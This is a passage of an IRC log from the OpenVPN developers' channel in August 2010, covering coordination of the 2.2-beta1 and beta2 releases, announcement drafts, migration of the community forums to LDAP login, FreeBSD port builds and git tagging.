<@mattock> seems, to doing "make distcheck" 09:34 < ecrist> ok, will set it up and test on my end. 09:35 <@mattock> it's owned by root, so buildbot can't accidentally delete it 09:36 < ecrist> running a test build in my ports tree now 09:37 -!- dazo_afk is now known as dazo 09:44 <@dazo> mattock: that's the correct filename 09:44 <@dazo> do we know anything about windows builds? 10:03 < ecrist> running a final test, will submit port to tree in about 10 mins 10:21 <@mattock> dazo: not yet 10:22 <@mattock> I'll have to leave now for the train... be back in ~3 hours 10:26 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 10:48 -!- dazo is now known as dazo_afk 11:11 -!- dazo_afk is now known as dazo 11:23 -!- mattock [~samuli@gprs-prointernet-fffb6a00-172.dhcp.inet.fi] has joined #openvpn-devel 11:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:23 <@mattock> dazo: what would you consider the main features of the 2.2-beta1? 11:23 <@mattock> I'm writing the announcement now 11:23 <@dazo> just a sec 11:24 * dazo looks at the change log 11:27 * dazo digests the changelog 11:35 <@mattock> cron2: ok, so we won't get signed drivers for the Windows client... the political process (whql) is still work in progress 11:35 <@mattock> which makes me wonder... was cross-compiling TUN/TAP driver impossible on Linux? Or only signing the driver on Linux? 11:47 <@dazo> mattock: I've looked through the change log, and it's difficult to condense it down from what I've already sent you ... it's a lot of important bugfixes and new improved feature updates 11:48 <@mattock> ok... so no really major new features... or all features are as major :) 11:49 <@dazo> yeah :) 11:49 <@dazo> If you only want features ... I can see if I can pick out the most important ones 11:51 <@dazo> * important feature updates: 11:51 <@dazo> - Added IPv6 support to Windows TAP driver 11:51 <@dazo> - auth-pam plugin update: Support DOMAIN+USERNAME in config 11:51 <@dazo> - Added support for passing over SSL certificate fingerprint/digest to plugins 11:51 <@dazo> - Improved the logic which gives a filename to the script hooks for exchanging data between OpenVPN and the script. OpenVPN will now create the file and not just return a supposed to be unique filename. 11:51 <@dazo> - Added an improved example script for doing OCSP checks 11:51 <@dazo> - Enhanced client-up and client-down example scripts 11:51 <@dazo> - Added support for --x509-username-field, defaults to CN but can be set to use other X509 certificate elments as username instead. 11:51 <@dazo> - Allow --lport 0, to allow random port binding 11:51 <@dazo> - Implemented http-proxy-override and http-proxy-fallback directives 11:52 <@dazo> - Implemented multi-address DNS expansion on the network field of route commands. 11:52 <@dazo> - Added --register-dns option for Windows. 11:52 <@dazo> - Handle non standard subnets in PF grammar 11:53 -!- mattock [~samuli@gprs-prointernet-fffb6a00-172.dhcp.inet.fi] has quit [Ping timeout: 248 seconds] 11:53 <@dazo> gee ... he probably missed that one :-P 11:54 -!- mattock [~samuli@gprs-prointernet-ff336a00-109.dhcp.inet.fi] has joined #openvpn-devel 11:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:54 <@dazo> mattock: did you get my feature list? 11:56 <@mattock> nope, connection interruption 11:57 <@dazo> http://fpaste.org/kaNx/ 11:57 <@dazo> that's a condensed list of what I find most important on the feature side 11:59 <@mattock> ok, I'll put the announcement draft to pastie soon 11:59 <@dazo> cool! 12:05 <@mattock> ok, here: http://pastie.org/1090740 12:05 <@mattock> ignore the funky linefeeds 12:05 <@mattock> or lack of them 12:06 <@dazo> line 20: If find a bug in this rele.... 12:07 <@dazo> If *you* find a bug.... ? 12:08 <@dazo> Looking good! 12:09 <@dazo> I would probably just add this line at the end of all the commit log summaries: 12:09 <@dazo> 210 files changed, 5112 insertions(+), 2046 deletions(-) 12:09 <@mattock> ok, fixed 12:09 <@dazo> which gives an idea of the changes of these patches 12:09 <@mattock> also fixed "for uncertain cases" -> "in uncertain cases" 12:10 <@dazo> yeah, I didn't notice that one 12:10 <@dazo> or maybe ... "If you are uncertain" 12:14 <@mattock> I thoughts about that, but that could easily lead to a long sentence: "If you are uncertain [whether you've found a bug or not], ..." 12:15 <@dazo> yeah 12:17 <@mattock> ecrist: may I add your email address (obfuscated, of course) to the forums announcement? "If you encounter any issues using the forums, don't hesitate to contact Samuli Seppänen (email) or Eric Crist (email)" 12:17 < ecrist> sure 12:18 <@cron2> did we get james to send mail to richih now? 12:20 <@mattock> cron2: the freenode guy, I assume? 12:20 <@cron2> yep 12:22 <@mattock> I assume not, James' is not too fast in this kind of stuff 12:22 <@mattock> :) 12:25 <@mattock> ok, first forum announcement draft is here: http://pastie.org/1090770 12:25 <@mattock> let me know what you think 12:33 < ecrist> looks good to me 12:36 <@mattock> ecrist: I was too fast, updated the announcement: http://pastie.org/1090782 12:37 <@mattock> added mention of the "OpenVPN authentication service" (=LDAP+PWM) 12:38 < ecrist> still looks good 12:39 <@mattock> ok, great! 12:40 <@mattock> I'm almost done with the Trac announcement 12:49 <@mattock> ok, Trac announcement: http://pastie.org/1090800 12:49 <@mattock> added the same "signature" to all announcements 12:50 <@mattock> oh, forgot contact information in case of issues... 12:50 <@dazo> ack 12:51 <@mattock> ok, I guess I'm done with them, then 13:00 < ecrist> are they published? 13:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 13:05 -!- mattock [~samuli@gprs-prointernet-ff336a00-109.dhcp.inet.fi] has quit [Ping timeout: 252 seconds] 13:16 -!- dazo is now known as dazo_afk 13:29 < ecrist> the freebsd port passed tinderbox, so it should be comitted sometime this afternoon 14:00 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 14:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:08 <@mattock> I have reduce the aggressiveness of the Trac spam filtering... if you (e.g. ecrist, dazo) notice that Trac gets spammed, please delete the revisions 14:11 < ecrist> ok 14:21 <@mattock> ok, so andrew called james and asked about the status of Windows client binaries for 2.2 14:23 <@mattock> he's terribly sorry about having postponed the release and that he might not manage to create the binaries today (his time). He intends to work on them this evening (again, his time) and on the weekend (if necessary). He promised to get the job done by Monday evening _at latest_ 14:24 <@mattock> he'll do most of the release stuff himself 14:24 <@mattock> I say we should trust him and postpone the announcement of 2.2-beta1 until monday 14:24 <@mattock> but release & announce forums and trac today (=now) 14:25 <@mattock> ecrist: andrew asked if ovpnforum.com could, after a delay, redirect users to forums.openvpn.net 14:26 <@mattock> I'll get on to forum migration now 14:33 <@mattock> ok, LDAP import tested and works 14:33 <@mattock> I'll grab something to eat and then finish what I started 14:34 < krzee> why an s on forum hostname? 14:35 < krzee> hehe 14:41 < ecrist> mattock: I'm going to set that up this weekend. 14:41 < ecrist> I just need to write the PHP 14:59 < ecrist> mattock: I coded something quick for a redirect. 15:05 < ecrist> mattock: let me know when the announce goes live 15:09 <@mattock> ok 15:09 <@mattock> php redirect looks nice! 15:11 <@mattock> I'll setup phpbb LDAP auth now 15:11 <@mattock> then migrate the real user accounts 15:11 < ecrist> ok 15:16 <@mattock> ecrist: so the correct user list is /home/ecrist/ovpn_users.txt on forums.openvpn.net, modified on Aug 9th 15:16 < ecrist> that sounds right 15:42 <@mattock> why does FreeBSD's openvpn-devel complain about auth-user-pass in a file: "Sorry, 'Auth' password cannot be read from a file" 15:43 <@mattock> if I use "auth-user-pass" and give username & password manually, everything works like a charm 15:43 <@mattock> perms are the same as on other clients 15:43 <@mattock> root:wheel, 400 for the password file 15:44 < ecrist> did you enable the option during the port build? 15:44 <@mattock> hmm... probably not 15:45 <@mattock> I assume "make --something", right... 15:45 <@cron2> make config 15:45 <@cron2> usually 15:45 <@cron2> or "make ENABLE_SOMETHING=yes" 15:45 < ecrist> mattock: did you build the port? 15:45 < ecrist> cd /usr/ports/security/openvpn-devel && make config install 15:45 <@mattock> ok, I'll do that 15:45 < ecrist> you'll get a menu, enable the appropriate config option 15:46 <@mattock> oh yes, I had that menu but didn't need passwords then 15:46 <@mattock> thanks ecrist! 15:46 < ecrist> :) 15:59 * ecrist goes away 16:03 <@mattock> openvpn on forums now works, so phpbb LDAP auth _should_ work now 16:09 <@mattock> could somebody else verify that logging into https://forums.openvpn.net with the LDAP (trac) password works properly? 16:09 < vpnHelper> Title: OpenVPN Forum Index page (at forums.openvpn.net) 16:14 <@mattock> I'll migrate the existing ovpnforum.com users now 16:15 < krzee> careful when doing that migration, most users are spam 16:15 < krzee> deleted posts, not users 16:16 <@mattock> ecrist took care of those 16:17 <@mattock> the spam users 16:17 < krzee> ahh cool 16:17 <@mattock> 144 users total 16:17 < krzee> looks nice 16:19 <@mattock> krzee: could you try logging into https://forums.openvpn.net with your LDAP/Trac password 16:19 < vpnHelper> Title: OpenVPN Forum Index page (at forums.openvpn.net) 16:19 <@mattock> just in case 16:19 <@mattock> I tested it with a few accounts already 16:19 < krzee> sure, lemme figure out what that is 16:19 < krzee> heh 16:25 <@mattock> ecrist: any clues where the "Register" button on forums disappreared... 16:25 < ecrist> no idea. 16:27 <@mattock> hmm... 16:27 <@mattock> also, the temporary password requesting is still enabled and works (but of course the password does not) 16:27 < ecrist> mattock: I'm guessing that, when you enable LDAP, phpbb removes it 16:27 < ecrist> perhaps check the docs? 16:29 <@mattock> I'm getting sleepy, past midnight... I guess we need to add a new "Register" button to phpbb and point that to pwm 16:29 <@mattock> so my neat mod_rewrite stuff was unnecessary :) 16:35 < ecrist> heh 16:38 <@mattock> ok, so I'll run the script now... I hope it does not have bugs I haven't encountered 16:38 <@mattock> otherwise the shit hits the fan 16:44 <@mattock> seems to have worked ok, 138 accounts migrated (rest existed already) 16:44 < ecrist> sweet 16:45 <@mattock> andrew received a mail with credentials... but it was in his spam folder 16:45 <@mattock> others might have the same problem 16:45 <@mattock> however, I don't think there's much we can do 16:45 < ecrist> nothing we can do about that. 16:46 < ecrist> I think most people are used to checking SPAM for HAM 16:49 < krzee> samuli: i dont know my trac pass, saved it in opera 16:49 < krzee> pwm wants me to reauth so i cant change it 17:03 <@mattock> ok, no probs, auth seems to be working properly 17:03 <@mattock> even for migrated users 17:03 <@mattock> I just sent the forums announcement to -devel and -users 17:06 <@mattock> same for trac 17:06 <@mattock> I'll test that editing the wiki works properly 17:06 <@mattock> (spam filtering changes) 17:07 < krzee> i like how it looks 17:29 <@raidz> http://twitter.com/openvpn/status/21100489893 17:29 < vpnHelper> Title: Twitter / OpenVPN Technologies: The OpenVPN Forums are off ... (at twitter.com) 17:34 <@mattock> ecrist: "Off-topic/related" board is full of spam 17:43 < krzee> \o/ 17:47 <@mattock> ok, I got to give up now, it's almost 2AM 17:47 <@mattock> I'll see what's left when I wake up :) 17:47 <@mattock> andrew is keeping an eye on the servers until then 17:48 <@mattock> bye! 17:50 < krzee> oh mattock my account works 17:50 <@mattock> great! 17:50 <@mattock> did you change the password already? 17:50 < krzee> ya 17:51 <@mattock> nice! 17:51 <@mattock> this releasing stuff might not end up into a chaos, after all :) 18:01 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 248 seconds] 18:15 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Quit: krzee] 18:36 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 19:38 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Quit: Ctrl-C at console.] 19:38 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 22:53 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has joined #openvpn-devel 23:10 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 23:51 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sat Aug 14 2010 01:04 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:40 < ecrist> blast 01:41 < ecrist> raidz: if you speak to mattock, let him know, it'd be nice if I had access to LDAP directly 03:02 <@cron2> morning 03:03 -!- dazo_afk [~dazo@nat/redhat/x-qsbdlznwtfijydfx] has quit [Ping timeout: 265 seconds] 03:06 -!- dazo_afk [~dazo@nat/redhat/x-xbhewlxohgxsnmuo] has joined #openvpn-devel 03:06 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:44 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 04:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:54 <@mattock> trac and forums still alive, nice... :) 06:18 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 248 seconds] 06:57 -!- dazo_h [~dazo@dazo-1-pt.tunnel.tserv6.fra1.ipv6.he.net] has joined #openvpn-devel 06:57 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ 07:05 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 07:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:27 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 240 seconds] 09:42 -!- dazo_h [~dazo@dazo-1-pt.tunnel.tserv6.fra1.ipv6.he.net] has quit [Quit: Leaving] 13:43 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel --- Day changed Sun Aug 15 2010 00:41 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:51 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 02:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:11 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 252 seconds] 09:08 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:18 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 14:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:11 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] --- Day changed Mon Aug 16 2010 02:24 -!- dazo_afk is now known as dazo 03:16 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:26 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 03:29 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:44 -!- mattock1 [~samuli@gprs-prointernet-ff556a00-20.dhcp.inet.fi] has joined #openvpn-devel 03:44 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:45 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 03:48 -!- mattock1 [~samuli@gprs-prointernet-ff556a00-20.dhcp.inet.fi] has quit [Ping timeout: 276 seconds] 03:57 -!- mape2k [~mape2k@p5B28687E.dip.t-dialin.net] has joined #openvpn-devel 04:27 <@cron2> mape2k: you're there? 08:44 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 08:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:44 <@mattock> dazo, jamesyonan: is the 2.2-beta2 ready for release? 08:45 <@dazo> mattock: nope, I've not been able to tag ... and I'm overloaded until 18-19 today 08:45 <@mattock> ok, no probs 08:45 <@cron2> beta2? 08:45 <@mattock> I got the release announcement ready 08:45 <@cron2> huh? 08:45 <@dazo> I need to rebase the tree 08:45 <@mattock> and I got to create the tarball and zip files, too 08:45 <@dazo> cron2: beta2 comes as a surprise, but is connected to the v2.1.2 release 08:45 <@mattock> yep, true 08:45 <@cron2> oh the fun 08:46 <@dazo> windows security issue 08:46 <@cron2> more fun :( 08:46 <@mattock> postponing was good for me, had to stay up until 2AM on Friday to get forums and community release :) 08:46 <@mattock> d 08:46 <@dazo> :) 08:47 <@mattock> so far both servers are in one piece :) 08:47 <@dazo> but actually all of the stuff jamesyonan mentioned in his release notes are in 2.2-beta2 08:47 <@dazo> yay! :) (for servers keeping their shape) 08:47 <@mattock> so the 2.1.2 release is more or less redundant? 08:47 <@mattock> =same stuff as in 2.2-beta2 08:48 <@dazo> 2.1.2 is to kill the security issue primarily, but introduces some new features as well 08:48 <@dazo> no, beta2 contains much more community code 08:48 <@dazo> there's about 60-70 patches in the beta2.2 branch, and James is only behind ~30 of them 08:48 <@mattock> yes, but I mean that 2.1.2 contains only a subset of fixes/features of 2.2-beta2 08:48 <@dazo> yeah 08:49 <@mattock> focusing on security issues and important bugfixes for 2.1.x would make sense 08:49 <@mattock> until 2.2 is stable 08:49 <@mattock> adding new features might not be a good idea 08:49 <@dazo> agreed ... but I see some new features are introduced as well, though ... some new --http-proxy stuff 08:50 <@mattock> to 2.1.x I mean 08:50 <@dazo> agreed 08:50 * dazo suspects that is related to the OpenVPN AS product 08:50 <@mattock> yep, probably 08:51 <@mattock> I'll try to fix the snapshot publishing script, noticed earlier that running a tar through gzip or zip does not produce 100% same results every time -> checksums don't match, even if package contents are exactly the same 08:51 <@dazo> I think the create time of the archive is the different 08:52 < ecrist> the checksums should still match, though 08:52 <@dazo> the checksum of the content of individual files, yes ... but on the tar ball itself, f.ex, that can change 08:53 <@mattock> if I create two tarballs from the same directory, their checksums match 08:53 < ecrist> in my experience, the create time of the tarball doesn't change the checksum 08:53 <@mattock> if I compress those two tarballs, the checksums don't match 08:54 <@mattock> not a big problem, I got a plan for fixing this 08:54 < ecrist> I stand corrected. as I test, compression changes the checksum 08:54 < ecrist> odd 08:54 <@dazo> that's probably gzip adding some timestamps 08:55 <@mattock> dazo: probably 08:55 <@mattock> I don't see a reason for using any randomization in compression 08:55 <@mattock> that would change the checksum, too 08:56 <@dazo> gzip is lossless compression, as the decompressed content is 100% identical ... so that it would use different compression algorithms for each run sounds too extreme ... but the checksum changes if a single byte changes ... and a timestamp can be less than 4 bytes 08:57 <@mattock> zip does the same... have not tested bzip2 08:58 -!- mape2k [~mape2k@p5B28687E.dip.t-dialin.net] has quit [Ping timeout: 265 seconds] 09:01 <@mattock> ecrist: I see you got the spam removed from "Related/Off-topic" forum board 09:01 <@mattock> how is that done? 09:01 <@mattock> admin panel? 09:04 < ecrist> no, moderator control panel 09:04 < ecrist> from board index, should be a link upper right, below the page header 09:10 <@mattock> ok, I'll have to check that out 09:10 <@mattock> any glitches / quirks with using the new forums? 09:11 <@mattock> or do they work 100% ok with LDAP auth? 09:11 <@mattock> I've posted a few messages and encountered no issues 09:11 < ecrist> they've worked 100% so far, sans an issue I had where I deleted all those user accounts and there was a relation error when I didn't delete the unmoderated posts first 09:12 < ecrist> that's all been resolved now, though. 09:17 <@mattock> ok, excellent! 09:17 <@mattock> some of the phpbb's functions (e.g. password change) should probably be redirected (with mod_rewrite) to pwm 09:18 <@mattock> haven't check which URL should get that treatment 09:18 <@mattock> "checked which URL's..." 09:21 <@mattock> actually one guy asked about password change not working, although he found pwm before I had time to respond 09:42 <@dazo> OpenSolaris is now decided dead ... http://blogs.everycity.co.uk/alasdair/2010/08/opensolaris-is-now-officially-dead-rip/ ... well, with Solaris 11 Express we might have at least something more close to Solaris to do our testing on, but that's probably the only upside 09:42 < vpnHelper> Title: Alasdair on Everything » OpenSolaris is now officially dead. RIP. (at blogs.everycity.co.uk) 09:42 <@dazo> http://www.networkworld.com/community/node/64977 09:42 < vpnHelper> Title: OpenSolaris is Dead. Long Live Solaris 11 Express | NetworkWorld.com Community (at www.networkworld.com) 09:46 <@cron2> bah 10:03 <@dazo> yeah 10:34 <@mattock> hehee... 10:35 <@mattock> wonder what my previous boss does now... :). He was _so_ SUN guy... I'd say he had pink SUNglasses on him all the time 10:35 <@mattock> despite what we said to him about about trusting on one vendor's products 10:49 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 10:52 -!- krzee [~k@ftp.secure-computing.net] has quit [Client Quit] 10:52 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 10:58 <@dazo> mattock: I believe Red Hat had a campaign a while ago .... "Don't get sun burned" :-P 11:00 -!- mape2k [~mape2k@f053196084.adsl.alicedsl.de] has joined #openvpn-devel 11:33 < krzee> haha thats a pretty good one 12:44 * dazo heads home for dinner and some openvpn hacking 12:44 <@cron2> have fun 12:44 * cron2 waits another 16 minutes and then starts breaking our network apart 12:44 -!- dazo is now known as dazo_afk 12:45 < krzee> woohoo! 12:45 < krzee> MacBookPro6,1 CPU: Intel Core i7 M 620 2.67GHz @ 2.66GHz [/FPU/MMX/SSE/SSE2/SSE3/S.SSE3/SSE4.1/SSE4.2/x86_64/PAE/XD/EM64T/VMX/EST] L2: 512K FSB: 4800MHz Airport: (802.11 a/b/g/n) RAM: 2.4GB/8.0GB Vram: 0.00M/128.00M Disk: 695.01GB/930.88GB GPU: Intel HD Graphics [288 MB/Stock] 1920x1200 OS: Mac OS X 10.6.4 (10F569) Kernel: Darwin 10.4.0 Up: 2 days 12:03 12:46 <@cron2> nice 12:46 <@cron2> did you find time to test the OpenVPN/configure patch on OpenBSD? 12:46 < krzee> i actually JUST booted the vm 12:46 <@cron2> cool :) 12:46 < krzee> i got it onto my new laptop 12:47 < krzee> and right now im at moms house visiting (im on vacation) 12:47 < krzee> so perfect timing 12:52 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 12:52 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 12:53 -!- krzie is now known as krzee 13:21 -!- mape2k [~mape2k@f053196084.adsl.alicedsl.de] has quit [Ping timeout: 258 seconds] 13:42 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 13:50 -!- dazo_h [~dazo@212.71.72.138] has joined #openvpn-devel 13:51 < dazo_h> mattock: I'm running distcheck now locally ... and then I'll push out v2.2-beta2 ... looking good so far 13:54 < dazo_h> 68a4a84..91c56f2 allmerged -> allmerged 13:54 < dazo_h> 4c1938a..39cd937 beta2.2 -> beta2.2 13:54 < dazo_h> 475bacf..edf704c master -> master 13:54 < dazo_h> 75dfe3d..4f79d3e svn-BETA21 -> svn-BETA21 13:54 < dazo_h> 73e0bf9..2e85098 v2.2-beta1 -> v2.2-beta1 13:54 < dazo_h> * [new tag] v2.2-beta2 -> v2.2-beta2 13:54 < dazo_h> mattock: ^^ git tree updated and pushed 13:56 < dazo_h> mattock: the only interesting thing now is ... is James' windows build really our v2.2-beta2, is it v2.2-beta1 with the wrong version? (he has stated the security fixes is in that build) 13:59 < ecrist> as soon as the tarball is built and available on build., I'll push a port update out for freebsd, though I don't think it matters much 14:02 < dazo_h> ecrist: the diff between beta1 and beta2 do not have much impact on non-windows boxes. There is one extra patch which James acked privately which fixes a compiler warning when compiling with --enable-strict ... it's not a big issue, but might fix a theoretical bug 14:02 < ecrist> ok 14:04 -!- dazo_h is now known as dazo 14:05 -!- mode/#openvpn-devel [+o dazo] by ChanServ 14:43 -!- mape2k [~mape2k@f053196084.adsl.alicedsl.de] has joined #openvpn-devel 15:24 -!- mape2k [~mape2k@f053196084.adsl.alicedsl.de] has quit [Ping timeout: 265 seconds] 16:06 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 16:18 -!- dazo [~dazo@212.71.72.138] has quit [Quit: Leaving] 17:21 < krzee> ecrist, can you tell vpnHelper to use the new RSS? 17:21 < krzee> im still not 100% sure how you got him using the old one --- Day changed Tue Aug 17 2010 01:33 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 02:51 -!- dazo_afk is now known as dazo 03:17 -!- d12fk [~heiko@vpn.astaro.de] has quit [Remote host closed the connection] 03:32 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:57 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 03:57 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:56 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 260 seconds] 05:56 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 05:56 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 07:12 <@dazo> mattock: will we announce v2.2-beta2 soon? 07:15 < ecrist> krzee: I'll look at it today 07:16 < ecrist> I don't quite recall the process, either. 07:58 <@dazo> congrats, mattock! http://www.newsweek.com/2010/08/15/interactive-infographic-of-the-worlds-best-countries.html 07:58 < vpnHelper> Title: Interactive Infographic of the World's Best Countries - Newsweek (at www.newsweek.com) 08:05 < kisom> no way we're only #3 08:30 <@dazo> heh 08:32 < ecrist> I'm not even in the top 10 08:54 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 252 seconds] --- Log opened Tue Aug 17 09:11:54 2010 09:11 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 09:11 -!- Irssi: #openvpn-devel: Total of 17 nicks [6 ops, 0 halfops, 0 voices, 11 normal] 09:12 -!- Irssi: Join to #openvpn-devel was synced in 36 secs 09:28 <@mattock> dazo: is everything set for the release on your part? 09:29 <@dazo> mattock: yes 09:29 <@dazo> git tree is tagged 09:30 <@mattock> I'll see if James is in Skype 09:30 <@mattock> the only issue is the Downloads page on openvpn.net... James uses some sort of script to make releases 09:30 <@mattock> so I can't just edit it 09:31 <@mattock> just a sec 09:34 <@dazo> mattock: you need to make sure the windows build is also beta2 ... I'm not sure what james have built for us now 09:35 * dazo got a hunch it's a beta1 + security and python patch 09:37 < ecrist> ping mattock 09:37 <@mattock> ping 09:37 <@mattock> dazo: ok 09:37 < ecrist> mattock: can I get admin access to pwm/ldap? 09:38 < ecrist> trying to track down a login problem with forums 09:38 <@mattock> I can give you access to the VPN and admin access 09:39 <@mattock> I'll fix an issue with backups first 09:39 < ecrist> thanks 09:43 < ecrist> ah, I identified the issue. 09:43 < ecrist> 'forgot my password' link is resetting the password in the database, not in LDAP 09:43 <@mattock> ecrist: I'll give you LDAP admin access anyways 09:43 < ecrist> can you setup a redirect for that link to the right place? 09:43 <@mattock> you'll probably be needing it 09:43 < ecrist> sweet 09:43 <@mattock> ecrist: yep, it's on my todo list 09:43 <@mattock> which URL is it? 09:44 < ecrist> https://forums.openvpn.net/ucp.php?mode=sendpassword 09:44 < vpnHelper> Title: OpenVPN Forum User Control Panel Send password (at forums.openvpn.net) 09:53 <@mattock> ecrist: you can copy the OpenVPN configuration files from forums.openvpn.net and use those... then create the credentials file (e.g. /usr/local/etc/openvpn/openvpn.pass) with your username ("ecrist") and your LDAP password 09:54 <@mattock> then just connect to the VPN 09:54 <@mattock> LDAP server lives at 10.74.22.1 09:58 < ecrist> okie. I'll get that configured in a while. 09:59 <@mattock> let me know if you have problems with it 10:03 < ecrist> do I reuse the cert, or do I have my own? 10:07 <@mattock> you only need the ca.crt and ta.key 10:07 <@mattock> and the credentials file file 10:08 <@mattock> there are no client certs or keys defined in the client configuration on forums.openvpn.net 10:08 <@mattock> (either) 10:09 <@mattock> just chatting with James on Skype 10:12 <@mattock> dazo: the file James linked to is beta1... James wanted the 2.2-beta2 tarball and then he can make a new Windows installer 10:12 <@mattock> for beta2 10:13 <@dazo> mattock: if you to make dist ... you can ship him the tarball 10:13 <@dazo> s/to/do/ 10:13 <@dazo> (after having checked out the v2.2-beta2, of course) 10:13 <@mattock> ok 10:14 <@mattock> what exactly is the relation of a tag and a branch in git? 10:14 <@mattock> I mean could you spoonfeed me? :) how do I check out 2.2-beta2? 10:14 <@dazo> the tag is a "human readable" commit, which may be annotated with a message 10:14 <@mattock> (kind of hurry right now :( 10:15 <@dazo> git checkout -b beta2.2-2 v2.2-beta2 10:15 <@mattock> oh, nice :) 10:15 <@dazo> ^^^ that makes a branch out of the commit that tag points add 10:15 <@mattock> so it's the same as checking out a remote branch 10:15 <@dazo> kind of, yeah 10:16 <@dazo> but I'm signing the tags with PGP, so that they cannot be modified easily .. that way, you can trust tags better 10:17 < ecrist> mattock: I got onto the VPN, works swimmingly. 10:18 <@mattock> ecrist: interesting expression :) 10:18 <@mattock> I guess it works ok, then ;) 10:18 < ecrist> yes 10:19 < ecrist> smoothly: with no problems or difficulties; "put the plans into effect quickly and smoothly"; "despite of some mishaps, everything went swimmingly" 10:20 <@mattock> ok, had not heard that earlier 10:21 <@mattock> from James: "I'm working on fixing an issue with the build scripts -- apparently in 2.1.2, the drivers were not signed correctly. I need to fix this issue before I can build 2.2 as well, if we want the drivers to be signed." 10:34 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:35 <@dazo> mattock: that completely makes sense 10:35 <@mattock> dazo: so commit 39cd93760be1e55c589cf82fb85d320a5d4592ee is the latest in 2.2-beta2? "ChangeLog has been updated with information related to v2.2-beta1 as well." 10:35 <@dazo> we should have signed beta drivers 10:36 <@dazo> mattock: yes, that's the commit the v2.2-beta2 tag points at 10:37 <@mattock> ok, got to study git a little before I got it working 10:37 <@dazo> git log v2.2-beta1..v2.2-beta2 10:37 <@mattock> I'll create the tarball now 10:37 <@mattock> oh, that's nice 10:37 <@mattock> I'll try it 10:41 < ecrist> so is beta2 windows-specific changes? 10:42 <@mattock> building 2.2-beta2 tarball now 10:45 <@dazo> ecrist: two windows specific changes, one which is security related ... the second one is a potential but most probably only a theoretical bug - but it depends on the compiler and how it interprets one if() statement 10:45 <@dazo> the third one, I meant 10:45 <@dazo> (so 2 windows + 1 compiler) 10:46 < ecrist> *shrug* I'll update the bsd port I guess 10:47 < 